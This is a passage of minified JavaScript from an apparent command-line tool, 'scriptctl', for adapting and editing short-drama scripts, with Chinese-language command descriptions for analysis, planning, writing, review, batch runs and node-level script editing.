<ms>","\u5355\u4E2A\u5355\u5143\u7684\u8D85\u65F6",Number)).action(H(fg,t)),o(n.command("paths").description("\u9009\u9898\u5224\u65AD\uFF1A\u8BFB\u539F\u5267\u62C6\u89E3\u7684\u753B\u50CF\u4E0E\u5927\u7EB2\uFF0C\u9010\u4E2A\u5019\u9009\u5E02\u573A\u5217\u51FA\u8D70\u5F97\u901A\u7684\u6539\u7F16\u8DEF\u5F84\uFF08\u540C\u5E02\u573A\u6362\u8F7D\u4F53\u3001\u8DE8\u5E02\u573A\u672C\u5730\u5316\u3001\u8DE8\u5E02\u573A\u6362\u58F3\u3001\u6362\u4E16\u754C\u89C2\uFF09\uFF0C\u7ED9\u51FA\u5EFA\u8BAE\u505A\u51E0\u4E2A\u7248\u672C").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--markets <list>","\u5019\u9009\u5E02\u573A\uFF0C\u9017\u53F7\u5206\u9694\uFF08\u5FC5\u586B\uFF09\uFF0C\u5982 \u4E2D\u56FD,\u5370\u5C3C,\u7F8E\u56FD").option("--notes <text>","\u7528\u6237\u8981\u6C42\u4E0E\u4E1A\u52A1\u4F18\u5148").option("-o, --output <path>","\u628A\u7ED3\u679C\u53E6\u5B58\u4E3A JSON")).action(H(mg,t)),o(ee(n.command("direction"),"read").description("\u63D0\u51FA 2\u20133 \u4E2A\u5019\u9009\u65B0\u58F3\uFF1B\u7ED9\u51FA --custom \u65F6\u5224\u65AD\u7528\u6237\u6307\u5B9A\u7684\u65B9\u5411\u662F\u5426\u53EF\u884C\u5E76\u6309\u5B83\u8BBE\u8BA1\u4E00\u4E2A\u5019\u9009\u3002-p \u4E3A\u539F\u5267\u5267\u672C").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--notes <text>","\u7528\u6237\u7684\u6362\u58F3\u8981\u6C42").option("--custom <text>","\u7528\u6237\u6307\u5B9A\u7684\u6362\u58F3\u65B9\u5411").option("--market <text>","\u65B0\u5267\u9762\u5411\u7684\u76EE\u6807\u5E02\u573A\uFF0C\u9ED8\u8BA4\u540C\u539F\u5267").option("--rating <text>","\u5C3A\u5EA6\u8981\u6C42\uFF0C\u9ED8\u8BA4\u540C\u539F\u5267").option("--avoid <shell>","\u8FD9\u90E8\u539F\u5267\u5DF2\u505A\u8FC7\u7684\u7248\u672C\u7684\u58F3\uFF0C\u53EF\u91CD\u590D\u7ED9\u51FA\uFF1B\u65B0\u5019\u9009\u4E0E\u5B83\u4EEC\u660E\u663E\u4E0D\u540C",(i,r=[])=>[...r,i]).option("--evidence <path>","\u76EE\u6807\u5E02\u573A\u540C\u7C7B\u5267\u6570\u636E\uFF08\u6587\u672C\u6587\u4EF6\uFF09\uFF1A\u70ED\u95E8\u9898\u6750\u5206\u5E03\u3001\u4EE3\u8868\u5267\uFF0C\u7528\u6765\u5224\u65AD\u5E02\u573A\u5951\u5408").option("-o, --output <path>","\u628A\u7ED3\u679C\u53E6\u5B58\u4E3A JSON")).action(H(gg,t)),o(ee(n.command("plan"),"read").description("\u9010\u5C42\u751F\u6210\u6362\u58F3\u65B9\u6848\uFF1A\u6574\u4F53\u65B9\u6848\uFF08\u542B\u9636\u6BB5\u8D70\u5411\uFF09\u2192 \u5404\u9636\u6BB5\u4E8B\u4EF6 \u2192 \u5404\u9636\u6BB5\u8282\u62CD \u2192 \u65B9\u6848\u6838\u9A8C \u2192 \u6545\u4E8B\u65F6\u95F4\u7EBF \u2192 \u4EBA\u7269\u9020\u578B\uFF0C\u4E0B\u5C42\u53EF\u56DE\u6539\u4E0A\u5C42\u5E76\u590D\u67E5\u53D7\u5F71\u54CD\u7684\u90E8\u5206\u3002-p \u4E3A\u539F\u5267\u5267\u672C\uFF1B\u5DF2\u6709\u65B9\u6848\u65F6\u4ECE\u672A\u5B8C\u6210\u7684\u90E8\u5206\u7EE7\u7EED").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--direction <path>","\u9009\u5B9A\u7684\u6362\u58F3\u65B9\u5411\u8BF4\u660E\uFF08\u5FC5\u586B\uFF09").option("-o, --output <path>","\u6362\u58F3\u65B9\u6848 JSON\uFF08\u5FC5\u586B\uFF09").option("--until <layer>","\u505A\u5230\u8FD9\u4E00\u5C42\u540E\u6682\u505C\uFF1Aoverall | events | beats").option("--force","\u5FFD\u7565\u5DF2\u6709\u65B9\u6848\u91CD\u65B0\u751F\u6210").option("--unit-timeout-ms <ms>","\u5355\u4E2A\u5355\u5143\u7684\u8D85\u65F6",Number)).action(H(hg,t)),o(ee(n.command("write"),"write").description("\u6309\u6362\u58F3\u65B9\u6848\u7684\u7ED3\u6784\u8868\u5199\u65B0\u5267\uFF1A\u9636\u6BB5\u5185\u6309\u96C6\u5E8F\u5199\uFF0C\u9636\u6BB5\u4E4B\u95F4\u5E76\u884C\uFF1B\u53EF\u9010\u96C6\u5BA1\u6838\u5E76\u4F20\u9012\u8D26\u672C\u3002-p \u4E3A\u65B0\u5267\u5267\u672C\uFF0C\u4E0D\u5B58\u5728\u6216\u6362\u540D\u6362\u5916\u89C2\u53D8\u5316\u65F6\u4ECE\u539F\u5267\u590D\u5236\uFF1B\u6BCF\u6761\u6B63\u6587\u8BB0\u4E0B\u6240\u5C5E\u7684\u65B0\u8282\u62CD\uFF0C\u4E0D\u5199\u65F6\u95F4\u6233").option("--source <path>","\u539F\u5267\u5267\u672C\uFF08\u5FC5\u586B\uFF09").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--plan <path>","\u5DF2\u5B8C\u6210\u7684\u6362\u58F3\u65B9\u6848 JSON\uFF08\u5FC5\u586B\uFF09").option("--episodes <list>","\u53EA\u5199\u8FD9\u4E9B\u96C6\uFF0C\u9017\u53F7\u5206\u9694\uFF08\u9ED8\u8BA4\u5168\u5267\u672A\u5B8C\u6210\u7684\u96C6\uFF09").option("--force","\u6240\u9009\u7684\u96C6\u5DF2\u5199\u8FC7\u4E5F\u91CD\u5199").option("--review-model <profile>","\u9010\u96C6\u5199\u5B8C\u5373\u7528\u6B64 profile \u5BA1\u6838\uFF0C\u8D26\u672C\u4F20\u7ED9\u4E0B\u4E00\u96C6").option("--concurrency <n>","\u540C\u65F6\u8FD0\u884C\u7684\u9636\u6BB5\u94FE\u6570\uFF08\u9ED8\u8BA4 6\uFF09",Number).option("--episode-timeout-ms <ms>","\u5355\u96C6\u5199\u4F5C\u8BF7\u6C42\u8D85\u65F6\uFF08\u9ED8\u8BA4 8 \u5206\u949F\uFF09\uFF1B\u9010\u96C6\u5BA1\u6838\u6309\u5BA1\u6838\u7684\u5355\u96C6\u8D85\u65F6\uFF0815 \u5206\u949F\uFF09",Number)).action(H(yg,t)),o(ee(n.command("review"),"write").description("\u6362\u58F3\u5BA1\u6838\uFF1A\u6309\u96C6\u5E8F\u901A\u8BFB\uFF0C\u9010\u96C6\u5BA1\u6362\u5F97\u662F\u5426\u5408\u7406\u3001\u662F\u5426\u770B\u5F97\u61C2\u4E0E\u901A\u987A\u3001\u524D\u540E\u662F\u5426\u8FDE\u8D2F\u3001\u9020\u578B\u4E0E\u573A\u666F\u5F15\u7528\u662F\u5426\u51C6\u786E\uFF0C\u5904\u7406\u7A0B\u5E8F\u68C0\u67E5\u7ED3\u679C\uFF0C\u518D\u505A\u5168\u5267\u6536\u5C3E\u3002-p \u4E3A\u65B0\u5267\u5267\u672C\uFF1B\u4E8B\u4EF6\u683C\u5F0F\u4E0E review \u76F8\u540C").option("--source <path>","\u539F\u5267\u5267\u672C\uFF08\u5FC5\u586B\uFF09").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--plan <path>","\u6362\u58F3\u65B9\u6848 JSON\uFF08\u5FC5\u586B\uFF09").option("--episodes <list>","\u53EA\u5BA1\u8FD9\u4E9B\u96C6\uFF0C\u9017\u53F7\u5206\u9694\uFF08\u9ED8\u8BA4\u5168\u90E8\uFF09").option("--concurrency <n>","\u540C\u65F6\u8FDB\u884C\u7684\u9636\u6BB5\u94FE\u6570\uFF08\u9ED8\u8BA4 10\uFF09",Number).option("--max-steps <n>","\u6BCF\u96C6\u6700\u591A\u51E0\u6B65\u5DE5\u5177\u8C03\u7528",Number).option("--episode-timeout-ms <ms>","\u5355\u96C6\u8D85\u65F6\uFF08\u9ED8\u8BA4 15 \u5206\u949F\uFF09",Number).option("--converge-only","\u53EA\u6267\u884C\u9636\u6BB5\u9996\u96C6\u63A5\u7F1D\u590D\u6838\u4E0E\u5168\u5267\u6536\u5C3E").option("--no-converge","\u8DF3\u8FC7\u5168\u5267\u6536\u5C3E")).action(H(wg,t)),n.command("batch").argument("<manifest>","\u6279\u91CF\u6E05\u5355 JSON\uFF1A{ dramas: [{ id, source, market, language, rating, notes, custom, pick, avoid }], models, prices, pick }").description("\u65E0\u4EBA\u503C\u5B88\u6279\u91CF\u6362\u58F3\uFF1A\u6BCF\u90E8\u5267\u5728 -o \u4E0B\u6709\u81EA\u5DF1\u7684\u9879\u76EE\u76EE\u5F55\uFF0C\u4F9D\u6B21\u62C6\u89E3 \u2192 \u65B9\u5411 \u2192 \u65B9\u6848 \u2192 \u5199\u4F5C \u2192 \u5BA1\u6838\uFF0C\u6BCF\u6B65\u4ECE\u5DF2\u4FDD\u5B58\u7684\u8FDB\u5EA6\u7EE7\u7EED\u3002\u62C6\u89E3\u8BC4\u51FA\u7684\u9002\u5408\u5EA6\u4F4E\u4E8E 3 \u4E14\u6CA1\u5199 pick \u65F6\u505C\u5728\u62C6\u89E3\u540E\uFF0C\u6307\u5B9A\u65B9\u5411\u4E0D\u53EF\u884C\u6216\u9700\u8981\u4EBA\u5DE5\u9009\u65B9\u5411\u65F6\u505C\u5728\u65B9\u5411\u6B65\uFF1B\u8865\u4E0A pick \u540E\u518D\u8FD0\u884C\u5373\u4ECE\u65B9\u5411\u7EE7\u7EED\u3002\u8FDB\u5EA6\u4E0E\u62A5\u544A\u5199\u5728 -o \u4E0B\u7684 batch-report.json / batch-report.md").option("-o, --output <dir>","\u6279\u91CF\u8F93\u51FA\u76EE\u5F55\uFF08\u5FC5\u586B\uFF09").option("--concurrency <n>","\u540C\u65F6\u8FDB\u884C\u7684\u5267\u6570\uFF08\u9ED8\u8BA4 2\uFF09",Number).option("--attempts <n>","\u6BCF\u6B65\u6700\u591A\u8FD0\u884C\u51E0\u6B21\uFF0C\u6BCF\u6B21\u4ECE\u4E0A\u6B21\u8FDB\u5EA6\u7EE7\u7EED\uFF08\u9ED8\u8BA4 3\uFF09",Number).option("--pick <n|recommended>","\u6CA1\u5199 pick \u7684\u5267\u7528\u8FD9\u4E2A\u5019\u9009\uFF1B\u4E0D\u7ED9\u65F6\u505C\u4E0B\u7B49\u4EBA\u5DE5\u9009\u62E9").option("--until <step>","\u505A\u5230\u8FD9\u4E00\u6B65\u540E\u505C\u4E0B\uFF1Aanalyze | direction | plan | write | review").option("--no-fallback","\u53EA\u7528\u6240\u9009\u6A21\u578B\uFF0C\u5931\u8D25\u65F6\u4E0D\u6362\u7528\u5176\u4ED6\u6A21\u578B\uFF08\u9ED8\u8BA4\u6309\u914D\u7F6E\u7684\u964D\u7EA7\u987A\u5E8F\u6362\u7528\uFF09").option("--llm-config <path>","LLM configuration file").action(H(_g,t))}import*as xg from"node:fs";var Po="\u5730\u5740\uFF1A\u96C6 `3`\u3001\u573A `3-2`\u3001\u5355\u6761 `3-2-5`\u3001\u6B63\u5F0F ID\u3001\u8D44\u4EA7\u540D\u3001\u6216 `<\u8D44\u4EA7>/<\u72B6\u6001>`";function Ke(e){let t=me(e);if(!xg.existsSync(t))throw new S("Local script file not found.",{exitCode:b,errorCode:"SCRIPT_NOT_FOUND",hint:"Run `scriptctl checkout`, `scriptctl create`, or pass --script-path to an existing script.",data:{expected:["existing local script JSON"],actual:[t]}});return np(t)}function he(e,t){let n=e[t];return typeof n=="string"?n:void 0}function mi(e,t){let n=e[t];if(n==null||n==="")return;let o=Number(n);if(!Number.isFinite(o))throw new S(`--${t} must be a number.`,{exitCode:b,errorCode:"OPTION_NOT_NUMBER",data:{actual:[String(n)]}});return o}function ye(e,t=0){return(e._args??[])[t]??""}function Vp(e){return Array.isArray(e)?e.map(String):typeof e=="string"?e.split(",").map(t=>t.trim()).filter(Boolean):[]}function ct(e,t,n=()=>({})){try{let o=e();return[{text:o,data:{op:t,changed:!1,text:o,...n()}},G]}catch(o){throw o instanceof S?o:new S(o instanceof Error?o.message:String(o),{exitCode:b,errorCode:o?.code??"SCRIPT_TOOL_FAILED"})}}function Sg(e,t){let n=ee(e.command("read [addr]"),"read").description(`\u8BFB\u4EFB\u610F\u8282\u70B9\uFF1B\u4E0D\u7ED9\u5730\u5740\u8FD4\u56DE\u5267\u672C\u5361\u3002${Po}`).option("--outline","\u53EA\u8981\u573A\u7ED3\u6784\uFF0C\u4E0D\u8981\u6B63\u6587").option("--context <n>","\u5355\u6761 action \u524D\u540E\u5404\u5E26\u51E0\u6761\uFF08\u9ED8\u8BA4 3\uFF09").option("--plain","\u53BB\u6389\u951A\u70B9\u4E0E\u65F6\u95F4\u6233\uFF08\u53EA\u8BFB\uFF0C\u4E0D\u53EF\u56DE\u5199\uFF09").action(H(h=>{let _=Ke(h);return ct(()=>la(_,ye(h),{...h.outline?{depth:"outline"}:{},...h.plain?{plain:!0}:{},...mi(h,"context")!==void 0?{context:mi(h,"context")}:{}}),"read",()=>ye(h)?{}:{document:_.raw})},t));Me(n,[Po]);let o=ee(e.command("scan <episode>"),"read").description("\u4E00\u6B21\u8FD4\u56DE\u67D0\u96C6\u7684\u5B8C\u6574\u4E0A\u4E0B\u6587\uFF1A\u573A\u7ED3\u6784 + \u5168\u90E8\u6B63\u6587 + \u5F53\u524D\u6821\u9A8C\u95EE\u9898").action(H(h=>ct(()=>{let _=Ke(h),x=ye(h);return[`## \u573A\u7ED3\u6784
233
+ ${la(_,x,{depth:"outline"})}`,`## \u6B63\u6587
234
+ ${la(_,x)}`,`## \u5F53\u524D\u6821\u9A8C\u95EE\u9898
235
+ ${yp(_,{})}`].join(`
236
236
 
237
- `)},"scan"),t));Me(o,["\u96C6\u53F7\uFF0C\u4ECE 1 \u5F00\u59CB"]);let i=ee(e.command("find [query]"),"read").description("\u6309\u6B63\u6587\u6B63\u5219 / \u8BF4\u8BDD\u4EBA / \u7C7B\u578B\u5B9A\u4F4D action\uFF0C\u8FD4\u56DE\u951A\u70B9 + \u547D\u4E2D\u7A97\u53E3").option("-i, --in <addr>",`\u9650\u5236\u8303\u56F4\uFF0C${Co}`).option("-a, --speaker <name>","\u4EBA\u7269\u540D\u6216 actor id").option("-t, --type <type>","action | dialogue | inner_thought | transition").option("--limit <n>","\u6700\u591A\u8FD4\u56DE\u51E0\u6761\uFF08\u9ED8\u8BA4 40\uFF09").option("--full","\u8FD4\u56DE\u6574\u6761\u6B63\u6587\u800C\u4E0D\u662F\u547D\u4E2D\u7A97\u53E3").action(H(h=>ct(()=>gm(Ke(h),ye(h),{...he(h,"in")?{in:he(h,"in")}:{},...he(h,"speaker")?{speaker:he(h,"speaker")}:{},...he(h,"type")?{type:he(h,"type")}:{},...gi(h,"limit")!==void 0?{limit:gi(h,"limit")}:{},...h.full?{full:!0}:{}}),"find"),t));Me(i,["\u6B63\u5219\uFF1B\u53EA\u6309 speaker/type \u8FC7\u6EE4\u65F6\u53EF\u7701\u7565"]);let r=ee(e.command("refs <addr>"),"read").description("\u53EA\u8BFB\u5B9A\u4F4D\u8D44\u4EA7/\u9020\u578B\u7684\u573A\u666F\u7ED1\u5B9A\u3001\u8BF4\u8BDD\u5F15\u7528\u548C\u6B63\u6587\u63D0\u53CA\uFF0C\u8FD4\u56DE\u53EF read \u7684\u5730\u5740\u53CA\u4E0A\u4E0B\u6587").option("--offset <n>","\u4ECE\u7B2C\u51E0\u6761\u5F15\u7528\u7EE7\u7EED\uFF08\u4ECE 0 \u5F00\u59CB\uFF09").option("--limit <n>","\u672C\u6279\u5F15\u7528\u6570\uFF08\u9ED8\u8BA4 20\uFF09").option("--context <n>","\u6B63\u6587\u547D\u4E2D\u524D\u540E\u5404\u51E0\u6761 action\uFF08\u9ED8\u8BA4 3\uFF09").action(H(h=>{let _=up(Ke(h),ye(h),{offset:gi(h,"offset"),limit:gi(h,"limit"),context:gi(h,"context")});return[{text:fp(_),data:{op:"refs",changed:!1,..._}},G]},t));Me(r,["\u4EBA\u7269/\u573A\u666F/\u9053\u5177 ID \u6216\u540D\u79F0\uFF0C\u6216 <\u8D44\u4EA7>/<\u9020\u578B>\uFF1B\u6B63\u6587\u63D0\u53CA\u4E0D\u7B49\u4E8E\u5B9E\u9645\u51FA\u573A"]);let s=ee(e.command("span <range>"),"read").description("\u628A\u4E00\u6BB5 action \u6362\u7B97\u6210\u96C6\u5185\u89C6\u9891\u65F6\u95F4\u7A97\u53E3\uFF08\u534A\u5F00\u533A\u95F4\uFF09").action(H(h=>{let _=Ke(h);return ct(()=>hm(_,ye(h)),"span",()=>({rows:[hp(_,ye(h))]}))},t));Me(s,[`${Co}\uFF0C\u6216 \`\u8D77ID..\u6B62ID\``]),ee(e.command("validate"),"read").description("\u8DD1\u6574\u672C\u6821\u9A8C").action(H(h=>{let _=Ke(h),x=Xi(_);return[{text:vm(_),data:{op:"script.validate",changed:!1,passed:x.ok,script_path:_.path,stats:{actors:_.assets.filter(E=>E.kind==="actor").length,locations:_.assets.filter(E=>E.kind==="location").length,props:_.assets.filter(E=>E.kind==="prop").length,episodes:_.episodes.length,scenes:_.episodes.reduce((E,A)=>E+A.scenes.length,0),actions:bn(_).length},issues:[...x.errors.map(E=>({...E,severity:"error"})),...x.warnings.map(E=>({...E,severity:"warning"}))]}},x.ok?G:fo]},t)),ee(e.command("issues"),"read").description("\u5217\u5F53\u524D\u6821\u9A8C\u95EE\u9898").option("--severity <severity>","error | warning").option("--code <code>","\u6309 issue code \u8FC7\u6EE4").action(H(h=>ct(()=>wp(Ke(h),{...he(h,"severity")?{severity:he(h,"severity")}:{},...he(h,"code")?{code:he(h,"code")}:{}}),"issues"),t));let c=ee(e.command("edit <addr>"),"write").description(`\u6539\u4E00\u4E2A\u8282\u70B9\u7684\u5B57\u6BB5\uFF1B\u5730\u5740\u51B3\u5B9A\u54EA\u4E9B\u5B57\u6BB5\u5408\u6CD5\u3002${Co}`).option("--content <text>","action \u6B63\u6587").option("--paren <text>","\u8868\u6F14\u63D0\u793A").option("--no-paren","\u5220\u9664\u8868\u6F14\u63D0\u793A\u5B57\u6BB5").option("--speaker <name>","\u4EBA\u7269\u540D\u6216 `\u540D\u5B57\xB7\u72B6\u6001`\uFF1B\u65C1\u767D/\u5E7F\u64AD/\u753B\u5916/\u7FA4\u58F0\u4EA6\u53EF").option("--ts <time>","\u65F6\u95F4\u6233").option("--no-ts","\u5220\u9664\u65F6\u95F4\u6233").option("--type <type>","action | dialogue | inner_thought | transition").option("--transition <spec>","\u8F6C\u573A\u63D0\u793A `\u76EE\u6807|\u8FC7\u7A0B|\u5BF9\u6BD4`").option("--no-transition","\u5220\u9664\u8F6C\u573A\u63D0\u793A").option("--name <text>","\u8D44\u4EA7 / \u72B6\u6001\u540D").option("--desc <text>","\u8D44\u4EA7 / \u72B6\u6001\u63CF\u8FF0").option("--importance <tier>","featured | background").option("--role <type>","\u4E3B\u89D2 | \u914D\u89D2").option("--alias <list>","\u8D44\u4EA7\u522B\u540D\uFF0C\u9017\u53F7\u5206\u9694").option("--space <space>","\u573A\uFF1Ainterior | exterior").option("--time <time>","\u573A\uFF1Aday | night | dawn | dusk").option("--title <text>","\u96C6 / \u5267\u672C\u6807\u9898").option("--synopsis <text>","\u96C6 / \u5267\u672C\u6897\u6982").option("--logline <text>","\u5267\u672C logline").option("--theme <text>","\u5267\u672C\u4E3B\u9898").option("--worldview <text>","\u5267\u672C\u4E16\u754C\u89C2").option("--style <text>","\u5267\u672C\u98CE\u683C").option("--main <list>","\u4E3B\u8981\u4EBA\u7269 `\u540D\u5B57=\u5B9A\u4F4D,\u2026`").action(H(h=>{let _={};for(let x of["content","speaker","type","name","desc","importance","role","space","time","title","synopsis","logline","theme","worldview","style","main"]){let E=he(h,x);E!==void 0&&(_[x]=E)}for(let x of["paren","ts","transition"])if(h[x]===!1)_[x]=null;else{let E=he(h,x);E!==void 0&&(_[x]=E)}return h.alias!==void 0&&(_.aliases=$p(h.alias)),ct(()=>ym(Ke(h),ye(h),_),"edit")},t));Me(c,[Co]);let a=ee(e.command("insert <addr> <content>"),"write").description("\u5728\u67D0\u6761 action \u524D/\u540E\u63D2\u5165\u4E00\u6761\u65B0 action").requiredOption("-t, --type <type>","action | dialogue | inner_thought | transition").option("--before","\u63D2\u5230\u76EE\u6807\u4E4B\u524D\uFF08\u9ED8\u8BA4\u4E4B\u540E\uFF09").option("-a, --speaker <name>","dialogue / inner_thought \u5FC5\u586B").option("--paren <text>","\u8868\u6F14\u63D0\u793A").action(H(h=>ct(()=>wm(Ke(h),ye(h),h.before?"before":"after",he(h,"type"),ye(h,1),he(h,"speaker"),he(h,"paren")),"insert"),t));Me(a,["\u76F8\u90BB action \u7684\u5730\u5740","\u65B0 action \u7684\u6B63\u6587"]);let d=ee(e.command("move <addr> <to>"),"write").description("\u628A\u4E00\u6761 action \u632A\u5230\u53E6\u4E00\u6761\u65C1\u8FB9\uFF1B\u8DE8\u573A\u4E5F\u4FDD\u6301 action_id").option("--before","\u632A\u5230\u76EE\u6807\u4E4B\u524D\uFF08\u9ED8\u8BA4\u4E4B\u540E\uFF09").action(H(h=>ct(()=>_m(Ke(h),ye(h),ye(h,1),h.before?"before":"after"),"move"),t));Me(d,["\u8981\u632A\u7684 action","\u76EE\u6807\u90BB\u5C45 action"]);let p=ee(e.command("write <addr>"),"write").description("\u7528 read \u8F93\u51FA\u7684\u540C\u4E00\u4EFD\u6B63\u6587\u683C\u5F0F\u56DE\u5199\u6574\u573A / \u6574\u96C6 / \u65B0\u96C6\uFF08`+`\uFF09").option("-f, --file <path>","\u6B63\u6587\u6587\u4EF6\uFF1B\u7701\u7565\u5219\u8BFB stdin").option("--allow-delete","\u5141\u8BB8\u5220\u9664\u6587\u672C\u91CC\u6D88\u5931\u7684\u573A / action").action(H(async h=>{let _=await import("node:fs"),x=he(h,"file"),E=x?_.readFileSync(x,"utf8"):_.readFileSync(0,"utf8");return ct(()=>xm(Ke(h),ye(h),E,{allowDelete:!!h.allow_delete}),"write")},t));Me(p,["\u573A / \u96C6\u5730\u5740\uFF0C\u6216 `+` \u8FFD\u52A0\u65B0\u96C6"]);let l=ee(e.command("replace <pattern> <to>"),"write").description("\u6279\u91CF\u66FF\u6362\u6B63\u6587\uFF1B\u9ED8\u8BA4\u53EA\u9884\u89C8\uFF0C--apply \u624D\u843D\u76D8\u3002\u8FC7\u6EE4\u53C2\u6570\u4E0E find \u76F8\u540C").option("-i, --in <addr>","\u9650\u5236\u8303\u56F4").option("-a, --speaker <name>","\u9650\u5B9A\u8BF4\u8BDD\u4EBA").option("-t, --type <type>","\u9650\u5B9A action \u7C7B\u578B").option("--apply","\u771F\u7684\u5199\u5165").action(H(h=>ct(()=>km(Ke(h),ye(h),ye(h,1),{...he(h,"in")?{in:he(h,"in")}:{},...he(h,"speaker")?{speaker:he(h,"speaker")}:{},...he(h,"type")?{type:he(h,"type")}:{},...h.apply?{apply:!0}:{}}),"replace"),t));Me(l,["\u6B63\u5219","\u66FF\u6362\u6210\u4EC0\u4E48"]);let f=ee(e.command("ref <scene> <asset>"),"write").description("\u6539\u4E00\u4E2A\u573A\u5BF9\u67D0\u8D44\u4EA7\u7684\u5F15\u7528\uFF1B--state \u662F\u5B8C\u6574\u72B6\u6001\u96C6\u5408\u800C\u975E\u8FFD\u52A0").option("--state <list>","\u5B8C\u6574\u72B6\u6001\u96C6\u5408\uFF08\u540D\u5B57\u6216 ID\uFF09\uFF0C\u9017\u53F7\u5206\u9694\u6216\u91CD\u590D\u7ED9\u51FA",PS,[]).option("--remove","\u5220\u9664\u6574\u6761\u5F15\u7528").action(H(h=>ct(()=>Am(Ke(h),ye(h),ye(h,1),$p(h.state).flatMap(_=>_.split(",")).map(_=>_.trim()).filter(Boolean),!!h.remove),"ref"),t));Me(f,["\u573A\u5730\u5740","\u4EBA\u7269 / \u5730\u70B9 / \u9053\u5177\u7684\u540D\u5B57\u6216 ID"]);let u=ee(e.command("asset <kind> <name>"),"write").description("\u767B\u8BB0\u4E00\u4E2A\u65B0\u7684 actor / location / prop").requiredOption("--desc <text>","\u63CF\u8FF0").option("--importance <tier>","featured | background","featured").option("--alias <list>","\u522B\u540D\uFF0C\u9017\u53F7\u5206\u9694").action(H(h=>ct(()=>Om(Ke(h),ye(h),ye(h,1),he(h,"desc")??"",he(h,"importance")??"featured",$p(h.alias)),"asset"),t));Me(u,["actor | location | prop","\u540D\u5B57"]);let y=ee(e.command("state <asset> <name>"),"write").description("\u7ED9\u5DF2\u6709\u8D44\u4EA7\u52A0\u4E00\u4E2A\u72B6\u6001\uFF08\u9020\u578B\u6863\u4F4D\uFF09").requiredOption("--desc <text>","\u63CF\u8FF0").action(H(h=>ct(()=>Rm(Ke(h),ye(h),ye(h,1),he(h,"desc")??""),"state"),t));Me(y,["\u8D44\u4EA7\u540D\u6216 ID","\u72B6\u6001\u540D"]);let m=ee(e.command("del <addr>"),"write").description("\u5220\u9664 action / \u573A / \u96C6 / \u8D44\u4EA7 / \u72B6\u6001").option("--replacement <state>","\u5220\u72B6\u6001\u65F6\u628A\u5F15\u7528\u6539\u5199\u5230\u8FD9\u4E2A\u72B6\u6001").option("--force","\u5BB9\u5668\u975E\u7A7A\u65F6\u4ECD\u7136\u5220\u9664").action(H(h=>ct(()=>Lm(Ke(h),ye(h),{...he(h,"replacement")?{replacement:he(h,"replacement")}:{},...h.force?{force:!0}:{}}),"del"),t));Me(m,[Co]);let g=ee(e.command("merge <src> <dst>"),"write").description("\u628A\u4E00\u4E2A\u8D44\u4EA7\u5E76\u5165\u53E6\u4E00\u4E2A\uFF1A\u5168\u90E8\u573A\u666F\u5F15\u7528\u4E0E speaker \u6539\u5199\u8FC7\u53BB").action(H(h=>ct(()=>xp(Ke(h),ye(h),ye(h,1)),"merge"),t));Me(g,["\u88AB\u5E76\u5165\u7684\u8D44\u4EA7","\u4FDD\u7559\u7684\u8D44\u4EA7"]);let w=ee(e.command("ext <addr> [key] [value]"),"write").description("\u8BFB\u6216\u5199\u4EFB\u610F\u8282\u70B9\u7684 extend \u6570\u636E").option("--remove","\u5220\u9664\u8BE5 key").action(H(h=>ct(()=>Mm(Ke(h),ye(h),ye(h,1)||void 0,ye(h,2)||void 0,!!h.remove),"ext"),t));Me(w,[Co,"extend key","\u503C"])}function PS(e,t){return[...t,e]}import*as Cy from"node:path";var no={createExecutor:tm};import*as ll from"node:fs";import*as lr from"node:path";var Mn=e=>e.normalize("NFC").replace(/\s+/g," ").trim().toLowerCase();var is=e=>String(e).padStart(3,"0"),Dp=e=>e.normalize("NFC").replace(/\s+/g," ").trim();function Ag(e,t={}){let n=[],o=[],i=null,r=null,s=0,c=0,a=new Map,d=(l,f)=>{let u=`text:${l}:${f.chunk}:${f.line_start}:${f.line_end}`,y=(a.get(u)??0)+1;return a.set(u,y),`${u}:${y}`},p=(l,f)=>{let u=l.actors.find(y=>Dp(y.name)===Dp(f.name));u?f.state&&!u.state&&(u.state=f.state):l.actors.push(f)};for(let l of e)switch(l.kind){case"episode":{s++,i={identity_key:d("episode",l.source),episode_id:`ep_${is(s)}`,scenes:[]},l.title!==void 0&&(i.title=l.title),n.push(i),r=null;break}case"scene":{i||(s++,i={identity_key:d("synthetic-episode",l.source),episode_id:`ep_${is(s)}`,scenes:[]},n.push(i)),c++,r={identity_key:d("scene",l.source),scene_id:`scn_${is(c)}`,location:l.location?{...l.location}:null,actors:(l.actors??[]).map(f=>({...f})),props:(l.props??[]).map(f=>({...f})),actions:[]},l.environment&&(r.environment=l.environment),i.scenes.push(r);break}case"note":o.push({content:l.content,...l.category?{category:l.category}:{},source:l.source});break;case"action":case"transition":{if(!r){o.push({content:l.content,category:"preamble",source:l.source});break}r.actions.push({identity_key:d(l.kind,l.source),type:l.kind,content:l.content});break}case"dialogue":case"inner_thought":{if(!r){o.push({content:l.content,category:"preamble",source:l.source});break}let f={identity_key:d(l.kind,l.source),type:l.kind,content:l.content,speaker:l.speaker};l.emotion!==void 0&&(f.emotion=l.emotion),r.actions.push(f),"name"in l.speaker&&p(r,l.speaker.state!==void 0?{name:l.speaker.name,state:l.speaker.state}:{name:l.speaker.name});break}}return{script:{title:t.title??"",episodes:n},notes:o}}var rs=class{constructor(t,n,o){this.prefix=t;this.kind=n;this.nextStateId=o}prefix;kind;nextStateId;byNorm=new Map;order=[];ensure(t,n){let o=Dp(t),i=this.byNorm.get(o);return i||(i={provisional_id:`${this.prefix}_${is(this.order.length+1)}`,kind:this.kind,names:[],states:[],occurrences:[]},this.byNorm.set(o,i),this.order.push(i)),i.names.includes(t)||i.names.push(t),i.occurrences.push(n),i}stateId(t,n){let o=Mn(n),i=t.states.find(s=>Mn(s.name)===o);if(i)return i.id;let r=this.nextStateId();return t.states.push({name:n,id:r}),r}list(){return this.order}};function CS(e){let t=[{state_id:"default",state_name:"default",description:""}];for(let n of e.states)t.push({state_id:n.id,state_name:n.name,description:""});return t}function Ma(e){let t=0,n=()=>`st_${is(++t)}`,o=new rs("act","actor",n),i=new rs("loc","location",n),r=new rs("prp","prop",n),s={episode:{},scene:{},action:{}},c={episode:new Set,scene:new Set,action:new 